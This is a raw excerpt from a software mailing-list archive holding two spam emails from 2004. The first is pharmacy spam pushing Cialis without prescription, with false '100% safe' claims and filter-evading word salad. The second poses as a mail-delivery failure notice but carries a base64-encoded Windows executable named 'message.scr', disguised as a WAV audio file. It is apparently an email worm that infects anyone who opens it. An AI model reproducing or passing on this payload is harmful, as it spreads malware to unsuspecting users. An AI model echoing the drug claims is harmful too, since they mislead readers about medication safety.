Apr 2004 18:45:53 +0200 Received: from 154.74.76.52 by web195.mail.yahoo.com; Wed, 28 Apr 2004 13:45:39 -0400 Message-ID: From: "Misty Rosa" To: xemacs-beta-archive@xemacs.org Subject: Re: need a super boost Date: Wed, 28 Apr 2004 10:41:39 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--639657799621915404" X-CS-IP: 11.224.238.196 X-Spam-Flag: YES X-Spam-Status: Yes, hits=20.7 required=5.0 tests=BAYES_99,BIZ_TLD,CLICK_BELOW, HTML_60_70,HTML_FONTCOLOR_BLUE,HTML_FONT_BIG,HTML_MESSAGE, MIME_HTML_NO_CHARSET,MIME_HTML_ONLY,MIME_HTML_ONLY_MULTI, ONLINE_PHARMACY,ORDER_NOW,RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DYNABLOCK, RCVD_IN_RFCI,RCVD_IN_SORBS,VIAGRA autolearn=spam version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com ----639657799621915404 Content-Type: text/html; Content-Transfer-Encoding: 7Bit
Natural Solutions Shipped to Your Door!
Visit Our Online Pharmacy Store Now & SAVE!

No Prescription Needed!

Cialis

Cialis (Tadalafil) is known as Super Viagra because it acts quicker and lasts much longer! Cialis has been dubbed the weekend pill: Take it once and it lasts all weekend.

Cialis starts working up to twice as fast as Viagra, and continues working for up to 24-36 hours. It's the best "Man Pills" in the market today!

Best of all, here's the good point of "Cialis" compared to VIAGRA:

  • 100% safe and medically proven
  • Improve penial blood flow
  • Sustained erections
  • Better sexual health
  • Ease of arousal
  • Increaseds ensitivity
  • Stronger ejaculations
  • It last all weekend!

Click Here To Order Now

Natural Solutions Shipped to Your Door!
Visit Our Online Pharmacy Store Now & SAVE!

No Prescription Needed!

Jchattel appoint bayou cahill pit lauderdale euler amputate parry stanchion clitoris !! Rinaction vermilion diet boatyard bedspring soda auntie patriot billion baffle congestive jericho sir decimate accompany wasn't decorum countervail anita . Abotulism patronage cohen sinuous shortsighted yoga instrument way decompression gallagher cyclic flynn extraordinary culture absentia lao cinderella goes pvc manageable dadaist refractometer centennial churchwoman chirp corpse physiology bicentennial graves bivouac asexual thor transferable

-Delete my email from your mailing list-

----639657799621915404-- From 3d2nascarfans@msn.com Wed Apr 28 13:59:58 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3SHxts30399 for ; Wed, 28 Apr 2004 13:59:55 -0400 Message-Id: <200404281759.i3SHxts30399@gwyn.tux.org> From: 3d2nascarfans@msn.com To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Wed, 28 Apr 2004 13:35:26 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-9728
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 